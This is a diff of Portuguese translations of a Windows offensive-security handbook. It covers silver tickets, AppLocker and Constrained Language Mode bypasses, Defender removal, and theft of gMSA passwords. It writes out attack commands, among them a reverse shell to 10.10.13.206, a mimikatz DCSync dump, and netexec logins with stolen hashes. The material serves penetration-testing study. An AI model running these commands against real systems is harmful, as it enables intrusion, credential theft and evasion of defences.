-------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

Dependendo do SO também:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

Em algumas ocasiões você pode simplesmente solicitar: WINRM

| +| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| | Scheduled Tasks | HOST | | Windows File Share, also psexec | CIFS | | LDAP operations, included DCSync | LDAP | @@ -88,7 +88,7 @@ Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmet - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Silver tickets - IDs de Evento +### Silver tickets IDs de Evento - 4624: Logon de Conta - 4634: Logoff de Conta @@ -96,11 +96,11 @@ Usando **Rubeus** você pode **solicitar todos** esses tickets usando o parâmet ## Persistência -Para evitar que as máquinas rotacionem sua senha a cada 30 dias, defina `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou você pode definir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` para um valor maior que 30 dias para indicar o período de rotação quando a senha da máquina deve ser alterada. +Para evitar que as máquinas rotacionem sua senha a cada 30 dias, defina `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou você pode definir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` para um valor maior que 30days para indicar o período de rotação quando a senha da máquina deve ser rotacionada. ## Abusando de Service tickets -Nos exemplos a seguir, vamos imaginar que o ticket foi obtido impersonando a conta de administrador. +Nos exemplos a seguir, vamos imaginar que o ticket foi obtido se passando pela conta de administrador. ### CIFS @@ -110,7 +110,7 @@ dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Você também poderá obter um shell dentro do host ou executar comandos arbitrários usando **psexec**: +Você também poderá obter um shell no host ou executar comandos arbitrários usando **psexec**: {{#ref}} @@ -119,7 +119,7 @@ Você também poderá obter um shell dentro do host ou executar comandos arbitr ### HOST -Com essa permissão você pode criar tarefas agendadas em computadores remotos e executar comandos arbitrários: +Com essa permissão você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -143,7 +143,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Encontre **mais informações sobre wmiexec** na seguinte página: +Encontre **mais informações sobre wmiexec** na página a seguir: {{#ref}} @@ -156,22 +156,23 @@ Com acesso winrm a um computador você pode **acessá-lo** e até obter um Power ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Consulte a página a seguir para aprender **mais maneiras de conectar-se a um host remoto usando winrm**: +Consulte a página a seguir para aprender **mais formas de conectar-se a um host remoto usando winrm**: + {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> Observe que **o winrm deve estar ativo e aceitando conexões** no computador remoto para acessá-lo. +> Observe que **winrm deve estar ativo e escutando** no computador remoto para acessá-lo. ### LDAP -Com esse privilégio você pode fazer dump do banco de dados do DC usando **DCSync**: +Com esse privilégio você pode extrair o banco de dados do DC usando **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` -**Saiba mais sobre DCSync** na seguinte página: +**Saiba mais sobre DCSync** na página a seguir: {{#ref}} diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index 9db4c1b1b..0543489ac 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -4,14 +4,14 @@ ## Política do AppLocker -Uma lista de permissões de aplicações é uma lista de aplicações de software aprovadas ou executáveis que são permitidos estar presentes e executar em um sistema. O objetivo é proteger o ambiente de malware prejudicial e software não aprovado que não esteja alinhado com as necessidades de negócio específicas de uma organização. +Uma whitelist de aplicações é uma lista de aplicativos ou executáveis aprovados que podem estar presentes e ser executados em um sistema. O objetivo é proteger o ambiente contra malware nocivo e software não aprovado que não esteja alinhado com as necessidades específicas de negócio de uma organização. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) é a **solução de whitelist de aplicações** da Microsoft e dá aos administradores do sistema controle sobre **quais aplicações e ficheiros os utilizadores podem executar**. Fornece **controlo granular** sobre executáveis, scripts, arquivos de instalação do Windows, DLLs, packaged apps e packed app installers.\ +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) é a Microsoft’s **application whitelisting solution** e dá aos administradores de sistema controle sobre **quais aplicações e arquivos os usuários podem executar**. Ele fornece **controle granular** sobre executáveis, scripts, arquivos de instalação do Windows, DLLs, packaged apps e packed app installers.\ É comum que organizações **bloqueiem cmd.exe e PowerShell.exe** e o acesso de escrita a certos diretórios, **mas tudo isso pode ser contornado**. ### Verificar -Verifique quais arquivos/extensões estão bloqueados/permitidos: +Verifique quais arquivos/extensões estão blacklisted/whitelisted: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,56 +20,56 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Este caminho do registro contém as configurações e políticas aplicadas pelo AppLocker, oferecendo uma maneira de revisar o conjunto atual de regras aplicadas no sistema: +Este caminho do registro contém as configurações e políticas aplicadas pelo AppLocker, fornecendo uma forma de revisar o conjunto atual de regras aplicadas no sistema: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Bypass -- Useful **Writable folders** to bypass AppLocker Policy: Se o AppLocker está permitindo executar qualquer coisa dentro de `C:\Windows\System32` ou `C:\Windows`, existem **writable folders** que você pode usar para **bypass this**. +- **Pastas graváveis** úteis para contornar a política do AppLocker: se o AppLocker estiver permitindo executar qualquer coisa dentro de `C:\Windows\System32` ou `C:\Windows`, existem **pastas graváveis** que você pode usar para **contornar isso**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Frequentemente **confiados** [**"LOLBAS's"**](https://lolbas-project.github.io/) binaries também podem ser úteis para contornar o AppLocker. +- Binários comumente **confiáveis** [**"LOLBAS's"**](https://lolbas-project.github.io/) podem também ser úteis para contornar AppLocker. - **Regras mal escritas também podem ser contornadas** - Por exemplo, **``**, você pode criar uma **pasta chamada `allowed`** em qualquer lugar e ela será permitida. -- Organizações frequentemente focam em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`. -- A **aplicação de DLLs raramente é ativada** devido à carga adicional que pode impor ao sistema e à quantidade de testes necessários para garantir que nada quebre. Então usar **DLLs como backdoors ajudará a contornar o AppLocker**. -- Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar PowerShell** code em qualquer processo e contornar o AppLocker. Para mais informações veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- Organizações frequentemente focam em **bloquear o executável `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mas esquecem das **outras** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tais como `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`. +- **DLL enforcement very rarely enabled** devido à carga adicional que pode causar no sistema e à quantidade de testes necessários para garantir que nada quebre. Portanto, usar **DLLs as backdoors** ajudará a contornar o AppLocker. +- Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o AppLocker. Para mais informações, confira: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Armazenamento de Credenciais +## Credentials Storage ### Security Accounts Manager (SAM) -Credenciais locais estão presentes neste arquivo; as senhas estão hashed. +Credenciais locais estão presentes neste arquivo; as senhas estão em forma de hash. ### Local Security Authority (LSA) - LSASS -As **credenciais** (hashed) são **armazenadas** na **memória** deste subsistema por motivos de Single Sign-On.\ -A **LSA** administra a **política de segurança** local (política de senhas, permissões de usuários...), **autenticação**, **tokens de acesso**...\ -A LSA será responsável por **verificar** as credenciais fornecidas dentro do arquivo **SAM** (para um login local) e **comunicar-se** com o **domain controller** para autenticar um usuário do domínio. +As **credenciais** (em hash) são **salvas** na **memória** deste subsistema por motivos de Single Sign-On.\ +**LSA** administra a **política de segurança** local (política de senhas, permissões de usuários...), **autenticação**, **tokens de acesso**...\ +O LSA será quem **verificará** as credenciais fornecidas dentro do arquivo **SAM** (para um login local) e **se comunicará** com o **controlador de domínio** para autenticar um usuário de domínio. -As **credenciais** são **armazenadas** dentro do **processo LSASS**: Kerberos tickets, hashes NT e LM, senhas facilmente descriptografáveis. +As **credenciais** são **salvas** dentro do processo **LSASS**: tickets Kerberos, hashes NT e LM, senhas facilmente descriptografadas. ### LSA secrets -A LSA pode salvar em disco algumas credenciais: +O LSA pode salvar em disco algumas credenciais: -- Senha da conta do computador do Active Directory (quando o domain controller não estiver acessível). +- Senha da conta de computador do Active Directory (controlador de domínio inacessível). - Senhas das contas de serviços do Windows - Senhas de tarefas agendadas - Mais (senha de aplicações IIS...) ### NTDS.dit -É o banco de dados do Active Directory. Está presente apenas em Domain Controllers. +É a base de dados do Active Directory. Está presente apenas em controladores de domínio. ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) é um antivírus disponível no Windows 10 e Windows 11, e em versões do Windows Server. Ele **bloqueia** ferramentas comuns de pentesting como **`WinPEAS`**. No entanto, existem formas de **contornar essas proteções**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) é um antivírus disponível no Windows 10 e Windows 11, e em versões do Windows Server. Ele **bloqueia** ferramentas comuns de pentesting como **`WinPEAS`**. No entanto, existem maneiras de **contornar essas proteções**. ### Check @@ -101,71 +101,71 @@ sc query windefend #Delete all rules of Defender (useful for machines without internet access) "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All ``` -## Encrypted File System (EFS) +## Sistema de Arquivos Criptografado (EFS) -EFS protege arquivos por meio de criptografia, utilizando uma chave **simétrica** conhecida como **File Encryption Key (FEK)**. Essa chave é criptografada com a **public key** do usuário e armazenada dentro do fluxo de dados alternativo $EFS do arquivo criptografado. Quando é necessária a descriptografia, a **private key** correspondente ao certificado digital do usuário é usada para descriptografar o FEK a partir do stream $EFS. Mais detalhes podem ser encontrados [here](https://en.wikipedia.org/wiki/Encrypting_File_System). +EFS protege arquivos por meio de criptografia, utilizando uma **chave simétrica** conhecida como **File Encryption Key (FEK)**. Essa chave é criptografada com a **chave pública** do usuário e armazenada no $EFS **alternative data stream** do arquivo criptografado. Quando a descriptografia é necessária, a **chave privada** correspondente ao certificado digital do usuário é usada para descriptografar o FEK a partir do stream $EFS. Mais detalhes podem ser encontrados [here](https://en.wikipedia.org/wiki/Encrypting_File_System). -**Cenários de descriptografia sem a ação do usuário** incluem: +**Cenários de descriptografia sem ação do usuário** incluem: - Quando arquivos ou pastas são movidos para um sistema de arquivos não-EFS, como [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), eles são automaticamente descriptografados. - Arquivos criptografados enviados pela rede via protocolo SMB/CIFS são descriptografados antes da transmissão. -Esse método de criptografia permite **acesso transparente** aos arquivos criptografados para o proprietário. No entanto, simplesmente alterar a senha do proprietário e fazer login não permitirá a descriptografia. +Esse método de criptografia permite **acesso transparente** aos arquivos criptografados para o proprietário. No entanto, simplesmente alterar a senha do proprietário e efetuar login não permitirá a descriptografia. -**Pontos-chave**: +Principais pontos: -- EFS usa um FEK simétrico, criptografado com a public key do usuário. -- A descriptografia utiliza a private key do usuário para acessar o FEK. -- A descriptografia automática ocorre sob condições específicas, como cópia para FAT32 ou transmissão pela rede. +- EFS usa um FEK simétrico, criptografado com a chave pública do usuário. +- A descriptografia emprega a chave privada do usuário para acessar o FEK. +- Descriptografia automática ocorre em condições específicas, como cópia para FAT32 ou transmissão pela rede. - Arquivos criptografados são acessíveis ao proprietário sem passos adicionais. -### Check EFS info +### Verificar informações do EFS -Verifique se um **user** utilizou esse **service** checando se este caminho existe: `C:\users\\appdata\roaming\Microsoft\Protect` +Verifique se um **usuário** utilizou este **serviço** checando se este caminho existe:`C:\users\\appdata\roaming\Microsoft\Protect` -Verifique **who** tem **access** ao arquivo usando cipher /c \\ +Verifique **quem** tem **acesso** ao arquivo usando cipher /c \ Você também pode usar `cipher /e` e `cipher /d` dentro de uma pasta para **encrypt** e **decrypt** todos os arquivos -### Decrypting EFS files +### Descriptografando arquivos EFS -#### Obter privilégios System +#### Assumindo o contexto do SYSTEM -Essa forma requer que o **victim user** esteja **running** um **process** dentro do host. Se esse for o caso, usando uma sessão `meterpreter` você pode impersonate o token do processo do usuário (`impersonate_token` do `incognito`). Ou você pode simplesmente `migrate` para o processo do usuário. +Esse método requer que o **usuário-vítima** esteja **executando** um **processo** no host. Se for o caso, usando uma sessão `meterpreter` você pode personificar o token do processo do usuário (`impersonate_token` do `incognito`). Ou você pode simplesmente `migrate` para um processo do usuário. -#### Knowing the users password +#### Conhecendo a senha do usuário {{#ref}} https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files {{#endref}} -## Group Managed Service Accounts (gMSA) +## Contas de Serviço Gerenciadas em Grupo (gMSA) -A Microsoft desenvolveu **Group Managed Service Accounts (gMSA)** para simplificar o gerenciamento de service accounts em infraestruturas de TI. Diferente de service accounts tradicionais que frequentemente têm a opção "**Password never expire**" habilitada, gMSAs oferecem uma solução mais segura e gerenciável: +A Microsoft desenvolveu as **Group Managed Service Accounts (gMSA)** para simplificar o gerenciamento de contas de serviço em infraestruturas de TI. Ao contrário das contas de serviço tradicionais que frequentemente têm a configuração "**Password never expire**" habilitada, as gMSAs oferecem uma solução mais segura e gerenciável: -- **Automatic Password Management**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente de acordo com a política de domínio ou computador. Esse processo é gerenciado pelo Key Distribution Service (KDC) da Microsoft, eliminando a necessidade de atualizações manuais de senha. -- **Enhanced Security**: Essas contas são imunes a lockouts e não podem ser usadas para interactive logins, aumentando sua segurança. -- **Multiple Host Support**: gMSAs podem ser compartilhadas entre múltiplos hosts, tornando-as ideais para serviços rodando em vários servidores. -- **Scheduled Task Capability**: Diferente de managed service accounts, gMSAs suportam a execução de scheduled tasks. -- **Simplified SPN Management**: O sistema atualiza automaticamente o Service Principal Name (SPN) quando há alterações nos detalhes sAMaccount do computador ou no nome DNS, simplificando o gerenciamento de SPN. +- **Gerenciamento automático de senhas**: gMSAs usam uma senha complexa de 240 caracteres que muda automaticamente conforme a política do domínio ou do computador. Esse processo é gerenciado pelo Key Distribution Service (KDC) da Microsoft, eliminando a necessidade de alterações manuais de senha. +- **Segurança aprimorada**: Essas contas são imunes a lockouts e não podem ser usadas para logons interativos, aumentando sua segurança. +- **Suporte a múltiplos hosts**: gMSAs podem ser compartilhadas entre vários hosts, tornando-as ideais para serviços executados em múltiplos servidores. +- **Capacidade para Scheduled Tasks**: Ao contrário das managed service accounts, gMSAs suportam execução de tarefas agendadas. +- **Gerenciamento simplificado de SPN**: O sistema atualiza automaticamente o Service Principal Name (SPN) quando há mudanças nos detalhes sAMAccount do computador ou no nome DNS, simplificando o gerenciamento de SPNs. -As senhas para gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são automaticamente resetadas a cada 30 dias pelos Domain Controllers (DCs). Essa senha, um blob de dados criptografado conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores onde as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essa informação, uma conexão segura como LDAPS é necessária, ou a conexão deve estar autenticada com 'Sealing & Secure'. +As senhas das gMSAs são armazenadas na propriedade LDAP _**msDS-ManagedPassword**_ e são resetadas automaticamente a cada 30 dias pelos Domain Controllers (DCs). Essa senha, um blob de dados criptografado conhecido como [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), só pode ser recuperada por administradores autorizados e pelos servidores nos quais as gMSAs estão instaladas, garantindo um ambiente seguro. Para acessar essa informação, é necessária uma conexão segura como LDAPS, ou a conexão deve ser autenticada com 'Sealing & Secure'. ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -Você pode ler essa senha com [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** +Você pode ler esta senha com [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**Encontre mais informações neste post**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) -Além disso, confira esta [página web](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como realizar um **NTLM relay attack** para **ler** a **senha** do **gMSA**. +Além disso, confira esta [web page](https://cube0x0.github.io/Relaying-for-gMSA/) sobre como executar um **NTLM relay attack** para **ler** a **senha** do **gMSA**. -### Abusando de ACL chaining para ler a senha gerenciada do gMSA (GenericAll -> ReadGMSAPassword) +### Abusar do encadeamento de ACLs para ler a senha gerenciada de gMSA (GenericAll -> ReadGMSAPassword) -Em muitos ambientes, usuários com poucos privilégios podem pivotar para segredos do gMSA sem comprometer o DC abusando de ACLs de objetos mal configuradas: +Em muitos ambientes, usuários pouco privilegiados podem pivotar para segredos de gMSA sem comprometer o DC, abusando de ACLs de objeto mal configuradas: -- Um grupo que você pode controlar (por exemplo, via GenericAll/GenericWrite) recebe `ReadGMSAPassword` sobre um gMSA. +- Um grupo que você controla (por exemplo, via GenericAll/GenericWrite) recebe `ReadGMSAPassword` sobre um gMSA. - Ao adicionar-se a esse grupo, você herda o direito de ler o blob `msDS-ManagedPassword` do gMSA via LDAP e derivar credenciais NTLM utilizáveis. Fluxo de trabalho típico: @@ -177,7 +177,7 @@ Fluxo de trabalho típico: ```bash bloodyAD --host -d -u -p add groupMember ``` -3) Leia a senha gerenciada do gMSA via LDAP e derive o hash NTLM. NetExec automatiza a extração de `msDS-ManagedPassword` e a conversão para NTLM: +3) Leia a senha gerenciada gMSA via LDAP e derive o hash NTLM. NetExec automatiza a extração de `msDS-ManagedPassword` e a conversão para NTLM: ```bash # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically netexec ldap -u -p --gmsa @@ -190,15 +190,15 @@ netexec smb -u 'mgtsvc$' -H netexec winrm -u 'mgtsvc$' -H ``` Notas: -- Leituras LDAP de `msDS-ManagedPassword` exigem sealing (p.ex., LDAPS/sign+seal). Ferramentas tratam isso automaticamente. -- gMSAs frequentemente recebem direitos locais como WinRM; verifique a associação a grupos (p.ex., Remote Management Users) para planejar lateral movement. -- Se você só precisa do blob para calcular o NTLM por conta própria, consulte a estrutura MSDS-MANAGEDPASSWORD_BLOB. +- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically. +- gMSAs are often granted local rights like WinRM; validate group membership (e.g., Remote Management Users) to plan lateral movement. +- If you only need the blob to compute the NTLM yourself, see MSDS-MANAGEDPASSWORD_BLOB structure. ## LAPS -A **Local Administrator Password Solution (LAPS)**, disponível para download em [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite o gerenciamento de senhas do Administrador local. Essas senhas, que são **aleatórias**, únicas e **alteradas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito através de ACLs a usuários autorizados. Com permissões suficientes concedidas, é possível ler as senhas do administrador local. +A **Local Administrator Password Solution (LAPS)**, disponível para download em [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), permite o gerenciamento de senhas do administrador local. Essas senhas, que são **aleatórias**, únicas e **alteradas regularmente**, são armazenadas centralmente no Active Directory. O acesso a essas senhas é restrito por ACLs a usuários autorizados. Com permissões suficientes concedidas, é possível ler as senhas de admin local. {{#ref}} @@ -207,20 +207,20 @@ A **Local Administrator Password Solution (LAPS)**, disponível para download em ## PS Constrained Language Mode -PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloqueia muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear objetos COM, permitir apenas tipos .NET aprovados, fluxos de trabalho baseados em XAML, classes do PowerShell e muito mais. +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **bloqueia muitas das funcionalidades** necessárias para usar o PowerShell de forma eficaz, como bloquear COM objects, permitir apenas .NET types aprovados, XAML-based workflows, PowerShell classes, e mais. ### **Verificar** ```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` -### Evasão +### Bypass ```bash #Easy bypass Powershell -version 2 ``` -No Windows atual esse Bypass não funciona, mas você pode usar[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ -**Para compilá-lo você pode precisar** **de** _**Adicionar uma Referência**_ -> _Procurar_ ->_Procurar_ -> adicionar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **mudar o projeto para .Net4.5**. +Nas versões atuais do Windows esse Bypass não funciona, mas você pode usar [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**Para compilá-lo talvez seja necessário** **para** _**Adicionar uma Referência**_ -> _Procurar_ ->_Procurar_ -> adicionar `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` e **alterar o projeto para .Net4.5**. #### Bypass direto: ```bash @@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e contornar o constrained mode. Para mais informações, veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). +Você pode usar [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ou [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) para **executar código Powershell** em qualquer processo e bypass o constrained mode. Para mais informações, veja: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). -## Polícia de Execução do PS +## Política de Execução do PS -Por padrão está definido como **restricted.** Principais formas de contornar essa política: +Por padrão está definido como **restricted.** Principais formas de bypass desta política: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -254,25 +254,25 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'" 9º Use EncodeCommand $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand ``` -More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) +Mais informações podem ser encontradas [aqui](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) ## Interface de Provedor de Suporte de Segurança (SSPI) É a API que pode ser usada para autenticar usuários. -O SSPI ficará encarregado de encontrar o protocolo adequado para duas máquinas que queiram se comunicar. O método preferido para isso é Kerberos. Em seguida, o SSPI negociará qual protocolo de autenticação será usado; esses protocolos de autenticação são chamados Provedores de Suporte de Segurança (SSP), estão presentes em cada máquina Windows na forma de uma DLL e ambas as máquinas devem suportar o mesmo para poderem se comunicar. +O SSPI será responsável por encontrar o protocolo adequado para duas máquinas que queiram se comunicar. O método preferido para isso é Kerberos. Em seguida, o SSPI negociará qual protocolo de autenticação será usado; esses protocolos de autenticação são chamados Provedor de Suporte de Segurança (SSP), estão localizados em cada máquina Windows na forma de uma DLL e ambas as máquinas devem suportar o mesmo para poderem se comunicar. ### Principais SSPs - **Kerberos**: O preferido - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** and **NTLMv2**: Por razões de compatibilidade +- **NTLMv1** and **NTLMv2**: Razões de compatibilidade - %windir%\Windows\System32\msv1_0.dll -- **Digest**: Servidores web e LDAP, senha em forma de hash MD5 +- **Digest**: Servidores web e LDAP, senha na forma de um hash MD5 - %windir%\Windows\System32\Wdigest.dll - **Schannel**: SSL e TLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: É usado para negociar o protocolo a ser usado (Kerberos ou NTLM, sendo Kerberos o padrão) +- **Negotiate**: É usado para negociar o protocolo a usar (Kerberos ou NTLM, sendo Kerberos o padrão) - %windir%\Windows\System32\lsasrv.dll #### A negociação pode oferecer vários métodos ou apenas um. diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 7e172233c..8a720bb3c 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,15 +1,15 @@ -# Checklist - Local Windows Privilege Escalation +# Checklist - Elevação de Privilégios Local no Windows {{#include ../banners/hacktricks-training.md}} -### **Melhor ferramenta para procurar vetores de elevação de privilégio locais no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Melhor ferramenta para procurar vetores de elevação de privilégio local no Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [System Info](windows-local-privilege-escalation/index.html#system-info) - [ ] Obter [**System information**](windows-local-privilege-escalation/index.html#system-info) -- [ ] Procurar por **kernel** [**exploits usando scripts**](windows-local-privilege-escalation/index.html#version-exploits) -- [ ] Usar **Google** para procurar **exploits** do kernel -- [ ] Usar **searchsploit** para procurar **exploits** do kernel +- [ ] Procurar por **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) +- [ ] Usar **Google para pesquisar** por kernel **exploits** +- [ ] Usar **searchsploit to search** por kernel **exploits** - [ ] Informação interessante em [**env vars**](windows-local-privilege-escalation/index.html#environment)? - [ ] Senhas no [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)? - [ ] Informação interessante em [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)? @@ -20,27 +20,27 @@ ### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration) -- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)e [**WEF** ](windows-local-privilege-escalation/index.html#wef) +- [ ] Verificar configurações de [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) e [**WEF** ](windows-local-privilege-escalation/index.html#wef) - [ ] Verificar [**LAPS**](windows-local-privilege-escalation/index.html#laps) -- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)está ativo +- [ ] Verificar se [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) está ativo - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)? - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)? -- [ ] Verificar se existe algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) +- [ ] Verificar se há algum [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)? - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) -- [ ] Verificar privilégios do usuário 